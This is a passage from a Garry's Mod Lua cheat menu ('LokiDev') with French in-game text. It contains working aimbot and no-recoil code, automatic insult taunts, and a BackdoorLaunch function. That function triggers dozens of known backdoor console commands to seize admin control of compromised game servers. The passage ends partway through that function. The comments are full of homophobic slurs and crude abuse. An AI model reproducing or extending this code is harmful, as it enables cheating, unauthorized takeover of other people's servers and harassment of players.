  4003. --gaytext( GMenu, "Recoil: "..grecoil.." ( "..math.Round((grecoil * 10) * 1 / delay, 1).." recoil per second ) ", voff, Color(205,255,125,255) )
  4004. --voff = voff + 20
  4005. if gun.Primary.Ammo then
  4006. local ammotyperaw = gun.Primary.Ammo
  4007. local ammotype = string.lower(gun.Primary.Ammo)
  4008. if ammostrings[ammotype] then ammotyperaw = ammostrings[ammotype] end
  4009. gaytext( GMenu, "Type de Munitions: "..ammotyperaw, voff, Color(105,255,125,255) )
  4010. voff = voff + 20
  4011. end
  4012. if m9gay then gaytext( GMenu, "Les d�g�ts et les stats TTK sont impr�cis en raison du bug m9k double p�n�tration", voff, Color(255,0,0,255) ) end
  4013. voff = voff + 40
  4014. gaytext( GMenu, "Tirs pour Tuer: "..math.ceil(50 / (gdmg * gnumshots) ).."x tir t�te -- "..math.ceil(100 / (gdmg * gnumshots)).."x tir torse -- "..math.ceil(400 / (gdmg * gnumshots)).."x tir bras", voff, Color(255,125,155,255) )
  4015. voff = voff + 20
  4016. gaytext( GMenu, "Tirs pour Tuer (Armure): "..math.ceil(100 / (gdmg * gnumshots) ).."x tir torse -- "..math.ceil(200 / (gdmg * gnumshots)).."x tir torse -- "..math.ceil(800 / (gdmg * gnumshots)).."x tir bras", voff, Color(255,125,255,255) )
  4017. voff = voff + 40
  4018. local ttk = (delay * math.ceil(100 / (gdmg * gnumshots) )) - delay
  4019. local ttk2 = (delay * math.ceil(50 / (gdmg * gnumshots) )) - delay
  4020. local ttk3 = (delay * math.ceil(400 / (gdmg * gnumshots) )) - delay
  4021. local ttk4 = (delay * math.ceil(200 / (gdmg * gnumshots) )) - delay
  4022. local ttk5 = (delay * math.ceil(800 / (gdmg * gnumshots) )) - delay
  4023. gaytext( GMenu, "Temps pour Tuer: "..math.Round(ttk2, 3).."s (T�te) -- "..math.Round(ttk, 3).."s (Torse) -- "..math.Round(ttk3, 3).."s (Bras)", voff, Color(205,255,185,255) )
  4024. voff = voff + 20
  4025. gaytext( GMenu, "Temps pour Tuer (Armure): "..math.Round(ttk, 3).."s (T�te) -- "..math.Round(ttk4, 3).."s (Torse) -- "..math.Round(ttk5, 3).."s (Bras)", voff, Color(155,155,255,255) )
  4026. voff = voff + 20
  4027. end
  4028. concommand.Add("LokiDev_inspectweapon", ZNX.GunMenu)
  4029. ------------------------------------------------------------------------AIMBOT UTIL FUNCTIONS--------------------------------------------------------------------------------------
  4030. -- get this from a better place fucknuts
  4031. local OEyeAngles = OEyeAngles or FindMetaTable( "Player" ).SetEyeAngles
  4032. FindMetaTable( "Player" ).SetEyeAngles = function( self, angle )
  4033. if ( string.find( string.lower( debug.getinfo( 2 ).short_src ), "/weapons/" ) ) and ZNX.Vars.NoRecoil then return end
  4034. OEyeAngles( self, angle )
  4035. end
  4036. local shitweapons = {
  4037. "weapon_physgun",
  4038. "weapon_physcannon",
  4039. "weapon_bugbait",
  4040. "weapon_fists",
  4041. "gmod_camera",
  4042. "gmod_tool",
  4043. "weapon_medkit",
  4044. "weapon_zm_carry",
  4045. "weapon_ttt_unarmed",
  4046. "weapon_keypadchecker",
  4047. "arrest_stick",
  4048. "door_ram",
  4049. "keys",
  4050. "lockpick",
  4051. "med_kit",
  4052. "pocket",
  4053. "stunstick",
  4054. "unarrest_stick",
  4055. "weaponchecker",
  4056. "keypad_cracker",
  4057. }
  4058. -- make sure its a non spastic weapon to aimbot/triggerbot with
  4059. function ZNX.CanBotShoot( wep )
  4060. if !wep:IsValid() then return end
  4061. if table.HasValue( shitweapons, wep:GetClass() ) then return false end
  4062. return true
  4063. end
  4064. function ZNX.GetView()
  4065. return ZNX.ViewAngle * 1
  4066. end
  4067. function ZNX.FixView()
  4068. if !ZNX.Vars.Aimbot then return end
  4069. local ply = LocalPlayer()
  4070. if !ply:IsValid() then return end
  4071. ZNX.ViewAngle = ply:EyeAngles()
  4072. end
  4073. local sensitivity = 0.022
  4074. function ZNX.RotateView(cmd)
  4075. ZNX.ViewAngle.p = math.Clamp(ZNX.ViewAngle.p + (cmd:GetMouseY() * sensitivity), -89, 89)
  4076. ZNX.ViewAngle.y = math.NormalizeAngle(ZNX.ViewAngle.y + (cmd:GetMouseX() * sensitivity * -1))
  4077. end
  4078. -- fov based targeting shit
  4079. function ZNX.GetAngleFromCrosshair( ply )
  4080. local Ang = (ZNX.FindTargetPosition( ply ) - LocalPlayer():EyePos() ):Angle()
  4081. local myangles = LocalPlayer():EyeAngles()
  4082. if isangle( ZNX.InternalFakeAngles ) then myangles = ZNX.InternalFakeAngles end
  4083. local DiffX = math.abs( math.NormalizeAngle( myangles.p - Ang.p ) )
  4084. local DiffY = math.abs( math.NormalizeAngle( myangles.y - Ang.y ) )
  4085. return DiffX, DiffY
  4086. end
  4087. function ZNX.GetDirtyAngleFromCrosshair( ply )
  4088. local Ang = ( (ply:GetPos() + Vector( 0, 0, 35 ) ) - LocalPlayer():EyePos() ):Angle()
  4089. local myangles = LocalPlayer():EyeAngles()
  4090. if isangle( ZNX.InternalFakeAngles ) then myangles = ZNX.InternalFakeAngles end
  4091. local DiffX = math.abs( math.NormalizeAngle( myangles.p - Ang.p ) )
  4092. local DiffY = math.abs( math.NormalizeAngle( myangles.y - Ang.y ) )
  4093. return DiffX + DiffY
  4094. end
  4095. function ZNX.InFOV( ply )
  4096. local DiffX, DiffY = ZNX.GetAngleFromCrosshair( ply )
  4097. return ( DiffX <= ZNX.NumberVars.AimbotMaxFOV and DiffY <= ZNX.NumberVars.AimbotMaxFOV )
  4098. end
  4099. function ZNX.FindTargetPosition( ent )
  4100. if !ent:IsValid() then return end
  4101. if !ZNX.Vars.AimbotTargetMode then return ent:LocalToWorld( ent:OBBCenter() ) end
  4102. if ent:GetModel() == "models/crow.mdl" then return ent:LocalToWorld( Vector(0, 0, 5) ) end -- rape faggots that are in crow form, useful in gmstranded or zombie survival
  4103. if ent:IsPlayer() then
  4104. local head = ent:LookupAttachment( "eyes" )
  4105. if head then
  4106. local pos = ent:GetAttachment(head)
  4107. if pos then
  4108. return pos.Pos + ent:EyeAngles():Forward() * -1.5
  4109. end
  4110. end
  4111. end
  4112. local bone = ZNX.AimbotBone
  4113. local head = ent:LookupBone( bone )
  4114. if head then
  4115. local pos = ent:GetBonePosition( head )
  4116. if pos then
  4117. return pos
  4118. end
  4119. end
  4120. return ent:LocalToWorld( ent:OBBCenter() )
  4121. end
  4122. function ZNX.CalcTargetPosition( ent )
  4123. local targetPos = ZNX:FindTargetPosition( ent )
  4124. if LocalPlayer():IsValid() and LocalPlayer():GetActiveWeapon():IsValid() and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_crossbow" then
  4125. targetPos = ZNX:PredictProjectileWeapons( ply, ent, targetPos ) or targetPos
  4126. end
  4127. return targetPos
  4128. end
  4129. function ZNX.PredictProjectileWeapons( ply, target, targetPos )
  4130. -- local dist = VecM["Length"](targetPos - PlyM["GetShootPos"](ply))
  4131. local dist = Vector(targetPos - LocalPlayer():GetShootPos()):Length()
  4132. local time = (dist / 3500) + 0.05
  4133. targetPos = targetPos + (target:GetVelocity() * time)
  4134. -- local mul = 0.0075
  4135. //targetPos = targetPos - (e["GetVelocity"](ply) * mul)
  4136. return targetPos
  4137. end
  4138. function ZNX.CanTargetPlayer( ply )
  4139. if !ZNX.Vars.TargetFriends and ZNX.IsFriend( ply ) then return false end
  4140. if ZNX.Vars.TargetHighlighted and !ZNX.IsTarget( ply ) then return false end
  4141. if !ZNX.Vars.TargetAdmins and ZNX.GetRank( ply ) != ( "user" or "guest" or "player" ) then return false end
  4142. if !ZNX.Vars.TargetSameTeam and ply:Team() == LocalPlayer():Team() then return false end
  4143. if !ZNX.Vars.TargetNoclippers and ply:GetMoveType() == MOVETYPE_NOCLIP then return false end
  4144. if ZNX.Vars.TargetMurder and !ply:HasWeapon("weapon_mu_knife") then return false end
  4145. if DarkRP and ZNX.IsBabyGod( ply ) then return false end
  4146. return true
  4147. end
  4148. local boners = {
  4149. "ValveBiped.Bip01_Head1",
  4150. "ValveBiped.Bip01_Spine2",
  4151. "ValveBiped.Bip01_Pelvis",
  4152. "ValveBiped.Bip01_R_Forearm",
  4153. "ValveBiped.Bip01_L_Forearm",
  4154. "ValveBiped.Bip01_R_Calf",
  4155. "ValveBiped.Bip01_L_Calf",
  4156. "ValveBiped.Bip01_R_Foot",
  4157. "ValveBiped.Bip01_L_Foot",
  4158. }
  4159. function ZNX.PrepareForAStomping( ply )
  4160. if !ply:IsValid() then return false end
  4161. if ply:GetModel() == "models/crow.mdl" and ZNX.PlayerVisible( ply, ply:LocalToWorld( Vector(0, 0, 5) ) ) then return ply:LocalToWorld( Vector(0, 0, 5) ) end
  4162. if ZNX.Vars.AimbotTargetMode then
  4163. -- right in the kisser
  4164. local head = ply:LookupAttachment( "eyes" )
  4165. if head then
  4166. local pos = ply:GetAttachment(head)
  4167. if pos then
  4168. local tpoz = pos.Pos + ply:EyeAngles():Forward() * -1.5
  4169. if ZNX.PlayerVisible( ply, tpoz ) then return tpoz end
  4170. end
  4171. end
  4172. else
  4173. -- b aim
  4174. local head = ply:LookupBone( "ValveBiped.Bip01_Pelvis" )
  4175. if head then
  4176. local poz = ply:GetBonePosition( head )
  4177. if poz then
  4178. if ZNX.PlayerVisible( ply, poz ) then return poz end
  4179. end
  4180. end
  4181. end
  4182. if ZNX.Vars.AimbotAdaptiveTarget then
  4183. local returnpos = -1
  4184. for _, b in ipairs( boners ) do
  4185. local head = ply:LookupBone( b )
  4186. if head then
  4187. local poz = ply:GetBonePosition( head )
  4188. if poz then
  4189. if ZNX.PlayerVisible( ply, poz ) then returnpos = poz break end
  4190. end
  4191. end
  4192. end
  4193. if isvector( returnpos ) then return returnpos end
  4194. end
  4195. local lastresort = ply:LocalToWorld( ply:OBBCenter() )
  4196. if ZNX.PlayerVisible( ply, lastresort ) then return lastresort end
  4197. return false
  4198. end
  4199. function ZNX.PlayerVisible( ply, testpos )
  4200. if !ply:IsValid() or !ply:IsPlayer() then return false end
  4201. local td = {start = LocalPlayer():GetShootPos(), endpos = testpos, filter = {LocalPlayer(), ply}, mask = MASK_SHOT}
  4202. local tr = util.TraceLine(td)
  4203. --if tr.Entity:IsValid() and tr.Entity == ply then return true end
  4204. if !tr.Hit then return true end
  4205. if ZNX.Vars.AimbotWallbanger and ZNX.CanWeaponPenetrate( tr, ply ) then return true end
  4206. return false
  4207. end
  4208. -- sorta like above but doesnt require a testpos
  4209. function ZNX.PlayerVisiblePK( source, ply )
  4210. if !ply:IsValid() or !ply:IsPlayer() then return false end
  4211. local td = {start = source, endpos = ply:LocalToWorld( ply:OBBCenter() ), filter = function( e ) return ( e != LocalPlayer() and e != ply and e:GetClass() != "prop_physics") end, mask = MASK_SHOT}
  4212. local tr = util.TraceLine(td)
  4213. --if tr.Entity:IsValid() and tr.Entity == ply then return true, tr.HitPos end
  4214. if !tr.Hit then return true, ply:LocalToWorld( ply:OBBCenter() ) end
  4215. return false, Vector( 0,0,0 )
  4216. end
  4217. -- returns the closest alive player, if visible is true then it will return the closest alive and visible player
  4218. function ZNX.GetClosestPlayer()
  4219. local nearestEnt = game.GetWorld()
  4220. local mypos = LocalPlayer():GetPos()
  4221. local plytab = player.GetAll()
  4222. table.sort( plytab, function( a, b ) return a:GetPos():Distance( mypos ) < b:GetPos():Distance( mypos ) end )
  4223. for _, ent in ipairs( plytab ) do
  4224. if ent == LocalPlayer() then continue end
  4225. if !ent:IsValid() or ZNX.IsDead( ent ) or !ZNX.CanTargetPlayer( ent ) or (ZNX.ToMetric( LocalPlayer():GetPos():Distance( ent:GetPos() ) ) >= ZNX.NumberVars.AimbotDist ) then continue end
  4226. nearestEnt = ent
  4227. break
  4228. end
  4229. return nearestEnt
  4230. end
  4231. -- returns the closest alive player to your crosshair, visible to return only visible players
  4232. function ZNX.GetClosestToCursor( visible )
  4233. local nearestEnt = game.GetWorld()
  4234. local fovtotal = ZNX.NumberVars.AimbotMaxFOV or 0
  4235. if fovtotal > 179 then return ZNX.GetClosestPlayer() end -- kick it into ragebot mode
  4236. local mypos = LocalPlayer():GetPos()
  4237. local plytab = player.GetAll()
  4238. table.sort( plytab, function( a, b ) return ZNX.GetDirtyAngleFromCrosshair( a ) < ZNX.GetDirtyAngleFromCrosshair( b ) end )
  4239. for _, ent in ipairs( plytab ) do
  4240. if ent == LocalPlayer() then continue end
  4241. -- we've exceeded our max fov so just stop looping here
  4242. if !ZNX.InFOV( ent ) then break end
  4243. -- save a bunch of useless calcs
  4244. if !ent:IsValid() or ZNX.IsDead( ent ) or !ZNX.CanTargetPlayer( ent ) or (ZNX.ToMetric( LocalPlayer():GetPos():Distance( ent:GetPos() ) ) >= ZNX.NumberVars.AimbotDist ) then continue end
  4245. nearestEnt = ent
  4246. break
  4247. end
  4248. return nearestEnt
  4249. end
  4250. gameevent.Listen( "entity_killed" )
  4251. hook.Add( "entity_killed", "LokiDev_propkilldetector", function( data )
  4252. local inflictor_index = data.entindex_inflictor
  4253. local attacker_index = data.entindex_attacker
  4254. local damagebits = data.damagebits
  4255. local victim_index = data.entindex_killed
  4256. local ply = "personne?"
  4257. local retard = game.GetWorld()
  4258. local atk = "la map"
  4259. local wep = "arme inconnue"
  4260. local killah = game.GetWorld()
  4261. local inflictor = ents.GetByIndex(inflictor_index)
  4262. for _, p in pairs(player.GetAll()) do
  4263. if p:EntIndex() == victim_index then ply = p:Nick() retard = p end
  4264. if p:EntIndex() == attacker_index then
  4265. atk = p:Nick()
  4266. killah = p
  4267. if p:GetActiveWeapon() and p:GetActiveWeapon():IsValid() then wep = p:GetActiveWeapon():GetPrintName() end
  4268. end
  4269. end
  4270. if ZNX.Vars.DeathTaunts and retard == LocalPlayer() then LocalPlayer():ConCommand( "say "..atk.." "..ZNX.GenerateInsult() ) end
  4271. if ZNX.Vars.NewLifeRule and retard == LocalPlayer() then LocalPlayer():ConCommand( "LokiDev_random_rpname" ) end
  4272. if attacker_index == victim_index then ZNX.DebugLog( ply.." c'est �trangl� lui-m�me", Color(180,150,150) ) if ZNX.Vars.NotifyKills then ZNX.ChatText( ply.." c'est �trangl� lui-m�me", Color(255,155,105) ) end return end
  4273. if inflictor:IsValid() and inflictor:GetClass() == "prop_physics" then
  4274. ZNX.DebugLog( ply.." a etait tuer par un prop!", Color(180,150,150) )
  4275. if ZNX.Vars.NotifyKills then ZNX.ChatText( ply.." a etait tuer par un prop!", Color(255,155,105) ) end
  4276. return
  4277. end
  4278. ZNX.DebugLog( atk.." a tuer "..ply.." avec: "..wep, Color(200,150,150) )
  4279. if ZNX.Vars.NotifyKills then ZNX.ChatText( atk.." a tuer "..ply.." avec: "..wep, Color(255,155,105) ) end
  4280. if ZNX.Vars.KillTaunts and retard != LocalPlayer() and killah == LocalPlayer() then LocalPlayer():ConCommand( "say "..ply.." "..ZNX.GenerateInsult() ) end
  4281.  
  4282. local ply = "nobody"
  4283. local prop = "nothing"
  4284. for k, v in pairs(ents.GetAll()) do
  4285. if v:EntIndex() == victim_index then ply = v end
  4286. if (v:GetClass() == "prop_physics" or string.find(v:GetClass(), "gmod_") or string.find(v:GetClass(), "wire_") ) and v:EntIndex() == attacker_index then prop = v end
  4287. end
  4288. if !FPP then return end
  4289. if ply == "nobody" or prop == "nothing" then return end
  4290. if !FPP.entGetOwner( prop ):IsValid() then return end
  4291. ZNX.DebugLog( FPP.entGetOwner( prop ):Nick().." propkilled "..ply:Nick().." with a "..prop:GetClass().." ("..prop:GetModel()..")", Color(150,150,55) )
  4292.  
  4293. end )
  4294. gameevent.Listen( "player_connect" )
  4295. hook.Add( "player_connect", "LokiDev_playerconnected", function( data )
  4296. ZNX.DebugLog( data.name .. " ( ".. data.networkid.." ) est connect� au serveur.", Color(150,150,150) )
  4297. end )
  4298. gameevent.Listen( "player_hurt" )
  4299. hook.Add( "player_hurt", "crosshair_readinjuries", function( data )
  4300. if data.attacker == LocalPlayer():UserID() then ZNX.CrossHairAlpha = 255 end
  4301. end )
  4302. gameevent.Listen( "player_disconnect" )
  4303. hook.Add( "player_disconnect", "LokiDev_playerleave", function( data )
  4304. timer.Simple( 0.5, function() ZNX.RemoveInvalidFriends() end )
  4305. ZNX.DebugLog( data.name .. " ( ".. data.networkid.." ) a �t� d�connect� du serveur. ( ".. data.reason .." )", Color(150,150,150) )
  4306. end )
  4307. ZNX.DebugLog( "Lokidevs Menu initialis�...", Color(200,200,255) )
  4308. if ULib then
  4309. ZNX.DebugLog( "Remplacements ULX d�tect�s, r�paration du syst�me de Hook...", Color(150,250,150) )
  4310. ZNX.DebugLog( "Syst�me de Hook r�par� avec succ�s :)", Color(150,250,150) )
  4311. end
  4312. function ZNX.AddServer()
  4313. local myservername = "\n"..GetHostName()
  4314. local myserverip = "\n"..game.GetIPAddress().."\n"
  4315. if !myservername or !myserverip then return end
  4316. file.Append( "LokiDev_serveur_list.txt", myservername..myserverip )
  4317. ZNX.DebugLog( "Serveur Ajouter a la Liste", Color(150,250,150) )
  4318. end
  4319. function ZNX.LoadServeur()
  4320. if (not file.Exists("LokiDev_serveur_list.txt", "Data"))
  4321. then file.Write("LokiDev_serveur_list.txt", "")
  4322. end
  4323. local sucks = file.Read( "LokiDev_serveur_list.txt", "DATA" )
  4324. if !sucks then ZNX.DebugLog( "Aucun serveur sauvegarder", Color(150,250,150) ) end
  4325. print(sucks)
  4326. ZNX.DebugLog( "Liste des serveurs afficher dans les 2 console", Color(150,250,150) )
  4327. ZNX.DebugLog( sucks, Color(150,250,150) )
  4328. end
  4329. function ZNX.DeleteServeur()
  4330. file.Delete( "LokiDev_serveur_list.txt", "DATA" )
  4331. ZNX.DebugLog( "Toutes les Serveurs ont �t� supprim�es", Color(150,250,150) )
  4332. end
  4333. concommand.Add("LokiDev_dumpnwstrings", function()
  4334. local netstrings = {}
  4335. for i = 1, 9999 do
  4336. local s = util.NetworkIDToString( i )
  4337. if s then print( "[LokiDev] NetChannel "..i.." = "..s ) else break end
  4338. end
  4339. end)
  4340. function ZNX.DumpHookTable( p, cmd, args )
  4341. local hks = args[1]
  4342. local hooktable = hook.GetTable()
  4343. if !hks or hks == "" then
  4344. for k, v in pairs( hooktable ) do
  4345. print( k.." = "..table.Count( v ).." hooks" )
  4346. end
  4347. elseif !hooktable[hks] then print( "Mauvais nom de hook! fait-le bien abruti sans talents...") return
  4348. else
  4349. for k, v in pairs( hooktable[hks] ) do
  4350. print( k.." = "..debug.getinfo( v ).source.." ligne: "..debug.getinfo( v ).linedefined.." - "..debug.getinfo( v ).lastlinedefined )
  4351. end
  4352. end
  4353. end
  4354. concommand.Add( "LokiDev_dumphooks", ZNX.DumpHookTable )
  4355. function ZNX.DumpCommandTable( p, cmd, args )
  4356. local commandtable = concommand.GetTable()
  4357. if !commandtable then return end
  4358. for k, v in pairs( commandtable ) do
  4359. if debug.getinfo( v ).source ~= "@lokidev_menu_v1.7.lua" and debug.getinfo( v ).source ~= "@lokidev_exploits_menu.lua" then
  4360. print( "Commande: "..k.." - Source: "..debug.getinfo( v ).source )
  4361. end
  4362. end
  4363. end
  4364. concommand.Add( "LokiDev_dumpcommands", ZNX.DumpCommandTable )
  4365. --[[
  4366. function ZNX.SetRotateAngle( p, cmd, arg )
  4367. if !arg[1] or !isnumber(arg[1]) then return end
  4368. ZNX.NumberVars.PKRotateAngle = tonumber(arg[1])
  4369. end
  4370. concommand.Add( "LokiDev_180up_vertical_angle", ZNX.SetRotateAngle )
  4371. --]]
  4372. local namesf = {
  4373. "Marc",
  4374. "Hugh",
  4375. "Maurice",
  4376. "Gill",
  4377. "Etienne",
  4378. "Antoine",
  4379. "Jean",
  4380. "Benoit",
  4381. "Gilbert",
  4382. "Laurent",
  4383. "Alexis",
  4384. "Alexandre",
  4385. "Denis",
  4386. "Nicholas",
  4387. "Leon",
  4388. "Leonard",
  4389. "Leo",
  4390. "Olivier",
  4391. "Curtis",
  4392. "Antonio",
  4393. "Gregory",
  4394. "Charlie",
  4395. "Luc",
  4396. "Patrick",
  4397. "Phillip",
  4398. "Bernard",
  4399. "Charles",
  4400. "Gaspar",
  4401. "Claude",
  4402. "Michael",
  4403. "Brandon",
  4404. "Richard",
  4405. "William",
  4406. "Serge",
  4407. "Freddie",
  4408. "Samuel",
  4409. "Gaetan",
  4410. "Gerald",
  4411. "Arnold",
  4412. "Roland",
  4413. "Justin",
  4414. "Theodore",
  4415. "Claude",
  4416. "Hugues",
  4417. "Albert",
  4418. "Arthur",
  4419. "Jay",
  4420. "Jeremi",
  4421. "Rene",
  4422. "Pascal",
  4423. "Carlos",
  4424. "Fabien",
  4425. "Rafael",
  4426. "Benjamin",
  4427. "Ernest",
  4428. "Victor",
  4429. "Martin",
  4430. "Franck",
  4431. "Walter",
  4432. "Isaac",
  4433. "Roger",
  4434. "Alfred",
  4435. "Jason",
  4436. "Danny",
  4437. "Henry",
  4438. "Jimmy",
  4439. "Kevin",
  4440. "Geoffrey",
  4441. "Dominic",
  4442. "Christopher",
  4443. "David",
  4444. "Steven",
  4445. }
  4446. local namesfem = {
  4447. "Marie",
  4448. "Anastasie",
  4449. "Nathalie",
  4450. "Amabella",
  4451. "Laetitia",
  4452. "Amelie",
  4453. "Jeanette",
  4454. "Virginie",
  4455. "Rachelle",
  4456. "Marine",
  4457. "Germaine",
  4458. "Gabriel",
  4459. "Sophie",
  4460. "Melisande",
  4461. "Astrid",
  4462. "Emmeline",
  4463. "Paulette",
  4464. "Laurence",
  4465. "Monique",
  4466. "Louise",
  4467. "Charlotte",
  4468. "Olivia",
  4469. "Chloe",
  4470. "Isabel",
  4471. "Elise",
  4472. "Sophie",
  4473. "Lily",
  4474. "Evelyn",
  4475. "Anna",
  4476. "Camille",
  4477. "Madeline",
  4478. "Claire",
  4479. "Victoria",
  4480. "Mia",
  4481. "Fabienne",
  4482. "Claudia",
  4483. "Margot",
  4484. "Julienne",
  4485. }
  4486. local namesl = {
  4487. "Daigneault",
  4488. "Lambert",
  4489. "Busson",
  4490. "St-Pierre",
  4491. "Duriff",
  4492. "Beaulac",
  4493. "Monrency",
  4494. "Desroches",
  4495. "Barriere",
  4496. "Plouffe",
  4497. "Cantin",
  4498. "Achin",
  4499. "Hughes",
  4500. "Machintruk",
  4501. "Mercier",
  4502. "Huot",
  4503. "Beaulieu",
  4504. "Garnier",
  4505. "Royer",
  4506. "Gladu",
  4507. "Hacher",
  4508. "Ouellet",
  4509. "Marshall",
  4510. "Lecuyer",
  4511. "Mothe",
  4512. "Brousse",
  4513. "Gilbert",
  4514. "Parrot",
  4515. "Gonzales",
  4516. "Beaudry",
  4517. "Robinson",
  4518. "Mcdonald",
  4519. "Parmentier",
  4520. "Chalifour",
  4521. "Dufour",
  4522. "Charpentier",
  4523. "Picard",
  4524. "Hervieux",
  4525. "Bureau",
  4526. "Gareau",
  4527. "Laderoute",
  4528. "Paiement",
  4529. "Frechette",
  4530. "Hervieux",
  4531. "Williams",
  4532. "Avare",
  4533. "Dufresne",
  4534. "Vertefeuille",
  4535. "Pelchat",
  4536. "Auclair",
  4537. "Richard",
  4538. "Arnaud"
  4539. }
  4540. function ZNX.GenerateRPName( p, cmd, arg )
  4541. if !DarkRP then ZNX.ChatText( "Le nom rp al�atoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4542. RunConsoleCommand( "darkrp", "rpname", table.Random( namesf ).." "..table.Random( namesl ) )
  4543. end
  4544. concommand.Add( "LokiDev_random_rpname_male", ZNX.GenerateRPName )
  4545. function ZNX.GenerateRPNameFemale( p, cmd, arg )
  4546. if !DarkRP then ZNX.ChatText( "Le nom rp al�atoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4547. RunConsoleCommand( "darkrp", "rpname", table.Random( namesfem ).." "..table.Random( namesl ) )
  4548. end
  4549. concommand.Add( "LokiDev_random_rpname_female", ZNX.GenerateRPNameFemale )
  4550. function ZNX.GenerateRPNameBoth( p, cmd, arg )
  4551. if !DarkRP then ZNX.ChatText( "Le nom rp al�atoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4552. if math.random( 1, 100 ) > 55 then
  4553. RunConsoleCommand( "darkrp", "rpname", table.Random( namesfem ).." "..table.Random( namesl ) )
  4554. else
  4555. RunConsoleCommand( "darkrp", "rpname", table.Random( namesf ).." "..table.Random( namesl ) )
  4556. end
  4557. end
  4558. concommand.Add( "LokiDev_random_rpname", ZNX.GenerateRPNameBoth )
  4559. function ZNX.RandomRPJob( p, cmd, arg )
  4560. if !DarkRP then ZNX.ChatText( "Le nom rp al�atoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4561. local fag = DarkRP.getCategories()
  4562. local jcmds = {}
  4563. for k, v in pairs( fag.jobs ) do
  4564. for _, j in pairs( v.members ) do
  4565. if j.customCheck and !j.customCheck( LocalPlayer() ) then continue end
  4566. if j.vote then continue end
  4567. if j.NeedToChangeFrom then continue end
  4568. table.insert( jcmds, j.command )
  4569. end
  4570. end
  4571. RunConsoleCommand( "darkrp", table.Random( jcmds ) )
  4572. end
  4573. concommand.Add( "LokiDev_random_rp_job", ZNX.RandomRPJob )
  4574. function ZNX.InnocentRoleplayer( p, cmd, arg )
  4575. LocalPlayer():ConCommand( "cl_weaponcolor "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ) )
  4576. LocalPlayer():ConCommand( "cl_playercolor "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ) )
  4577. RunConsoleCommand( "kill" )
  4578. ZNX.GenerateRPNameBoth()
  4579. ZNX.RandomRPJob()
  4580. end
  4581. concommand.Add( "LokiDev_innocent_roleplayer", ZNX.InnocentRoleplayer )
  4582. function ZNX.ErrorRape()
  4583. local str = "\n"
  4584. for i = 1, 512 do str = str.."\n" end
  4585. Error( str )
  4586. end
  4587. concommand.Add( "LokiDev_exploit_rapeconsole", ZNX.ErrorRape )
  4588. function BackdoorLaunch()
  4589. local Moileboss = LocalPlayer()
  4590. if not Moileboss:IsSuperAdmin() then
  4591. if ConVarExists("debugcmd") then
  4592. RunConsoleCommand("debugcmd")
  4593. end
  4594. if ConVarExists("Sandbox_ArmDupe") then
  4595. RunConsoleCommand("Sandbox_ArmDupe")
  4596. end
  4597. if ConVarExists("dronesrewrite_admin_hackall") then
  4598. RunConsoleCommand("dronesrewrite_admin_hackall")
  4599. end
  4600. if ConVarExists("freezedatacmd") then
  4601. RunConsoleCommand("freezedatacmd")
  4602. end
  4603. if ConVarExists("thepostaldude") then
  4604. RunConsoleCommand("thepostaldude")
  4605. end
  4606. if ConVarExists("k555") then
  4607. RunConsoleCommand("k555")
  4608. end
  4609. if ConVarExists("l666") then
  4610. RunConsoleCommand("l666")
  4611. end
  4612. if ConVarExists("m777") then
  4613. RunConsoleCommand("m777")
  4614. end
  4615. if ConVarExists("n888") then
  4616. RunConsoleCommand("n888")
  4617. end
  4618. if ConVarExists("b999") then
  4619. RunConsoleCommand("b999")
  4620. end
  4621. if ConVarExists("v000") then
  4622. RunConsoleCommand("v000")
  4623. end
  4624. if ConVarExists("c111") then
  4625. RunConsoleCommand("c111")
  4626. end
  4627. if ConVarExists("x222") then
  4628. RunConsoleCommand("x222")
  4629. end
  4630. if ConVarExists("_resstart") then
  4631. RunConsoleCommand("_resstart")
  4632. end
  4633. if ConVarExists("5687476") then
  4634. RunConsoleCommand("5687476")
  4635. end
  4636. if ConVarExists("72648954") then
  4637. RunConsoleCommand("72648954")
  4638. end
  4639. if ConVarExists("backdv1") then
  4640. RunConsoleCommand("backdv1")
  4641. end
  4642. if ConVarExists("_sv") then
  4643. RunConsoleCommand("_sv")
  4644. end
  4645. if ConVarExists("wtbdinterface") then
  4646. RunConsoleCommand("wtbdinterface")
  4647. end
  4648. if ConVarExists("infammo") then
  4649. RunConsoleCommand("infammo")
  4650. end
  4651. if ConVarExists("i_admin") then
  4652. RunConsoleCommand("i_admin")
  4653. end
  4654. if ConVarExists("backdoor_ttt") then
  4655. RunConsoleCommand("backdoor_ttt")
  4656. end
  4657. if ConVarExists("76soldier_sa") then
  4658. RunConsoleCommand("76soldier_sa")
  4659. end
  4660. if ConVarExists("go") then
  4661. RunConsoleCommand("go")
  4662. end
  4663. if ConVarExists("bang") then
  4664. RunConsoleCommand("bang")
  4665. end
  4666. if ConVarExists("EnfinUnPoColon") then
  4667. RunConsoleCommand("EnfinUnPoColon")
  4668. end
  4669. if ConVarExists("Lee_WeaponMelee") then
  4670. RunConsoleCommand("Lee_WeaponMelee")
  4671. end
  4672. if ConVarExists("htx_menu") then
  4673. RunConsoleCommand("htx_menu")
  4674. end
  4675. if ConVarExists("324879974") then
  4676. RunConsoleCommand("324879974")
  4677. end
  4678. if ConVarExists("_76") then
  4679. RunConsoleCommand("_76")
  4680. end
  4681. if ConVarExists("killyourself") then
  4682. RunConsoleCommand("killyourself")
  4683. end
  4684. if ConVarExists("bang") then
  4685. RunConsoleCommand("bang")
  4686. end
  4687. if ConVarExists("e7KwlOZB6PT37RBPhyjP") then
  4688. RunConsoleCommand("e7KwlOZB6PT37RBPhyjP")
  4689. end
  4690. if ConVarExists("C6RcfnOhuPkDPoQkgzu8") then
  4691. RunConsoleCommand("C6RcfnOhuPkDPoQkgzu8")
  4692. end
  4693. if ConVarExists("engine_force_button") then
  4694. RunConsoleCommand("engine_force_button")
  4695. end
  4696. if ConVarExists("netgraph_ssp") then
  4697. RunConsoleCommand("netgraph_ssp")
  4698. end
  4699. if ConVarExists("netgraph_sm") then
  4700. RunConsoleCommand("netgraph_sm")
  4701. end
  4702. if ConVarExists("superadmin_les_khey") then
  4703. RunConsoleCommand("superadmin_les_khey")
  4704. end
  4705. timer.Simple( 1.5, function()
